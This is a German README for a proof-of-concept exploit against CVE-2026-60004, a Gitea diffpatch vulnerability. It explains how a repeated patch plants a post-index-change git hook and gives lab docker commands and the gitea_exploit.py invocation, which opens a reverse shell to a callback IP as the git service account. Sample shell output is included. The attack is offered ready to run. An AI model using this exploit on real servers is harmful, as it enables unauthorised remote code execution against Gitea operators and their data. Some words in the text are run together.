
Automatisierter Proof-of-Concept-Exploit für CVE-2026-60004, eine Gitea-Diffpatch-Git-Hook-RCE, die einen Post-Index-Change-Hook platziert, um eine Reverse Shell als Dienstkonto zu erhalten.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 ist eine Remote Code Execution (RCE)-Schwachstelle in Gitea. Die
diffpatch-API wendet einen übergebenen Patch mitgit apply --cachedan, was eigentlich nur den Index betreffen und niemals Dateien auf die Festplatte schreiben sollte. Indem derselbe Patch zweimal gesendet wird, erzwingt ein Angreifer eine Add/Add-Kollision, die Git's Three-Way-Merge-Fallback (-3) auslöst. Dieser Pfad ignoriert--cachedund checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist sein Arbeitsbaum-Wurzelverzeichnis$GIT_DIR. Ein Patch, der einen ausführbaren erstellt, platziert somit einen aktiven Git-Hook, den Git automatisch beim nächsten Index-Update ausführt — und Befehle als das Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.
hooks/post-index-change| Kategorie | Version |
|---|---|
| Anfällig | Gitea 1.17 ≤ Version ≤ 1.27.0 |
| Gepatcht | Gitea 1.27.1 oder später |
git)Erstellen und starten Sie die anfällige Gitea-Umgebung. Die Registrierung bleibt offen und der
Server liefert Git 2.32+, was den -3-Fallback aktiviert, auf den der Angriff angewiesen ist.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Voraussetzung | Zustand in diesem Lab |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ auf dem Server (aktiviert -3) | 2.54 |
| Offene Registrierung | aktiviert (Standard) |
| Repository-Schreibzugriff | über selbst registriertes Konto |
Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein
Repository erstellen kann, erstellt es das Ziel-Repository, sendet denselben Patch
wiederholt, bis Git's -3-Fallback ausgelöst wird, und fängt die Reverse Shell mit einem
integrierten Listener ab — kein manuelles Setup, Patch-Erstellung oder Blob-Hash-Berechnung nötig.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Der -3-Fallback wird nur in bestimmten Zeitfenstern ausgelöst, daher wiederholt das Skript
create → send → send, bis es erfolgreich ist (Standard: 25 Versuche). Wenn ein Senden blockiert,
wurde der Hook ausgelöst und der Listener bringt Sie in eine Shell als git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Optionen:
--no-listen — fangen Sie die Shell mit Ihrem eigenen externen nc anstelle des integrierten Listeners ab--user / --pw / --repo / --branch — überschreiben Sie das Standardkonto und das Ziel-RepositoryDISABLE_REGISTRATION=true)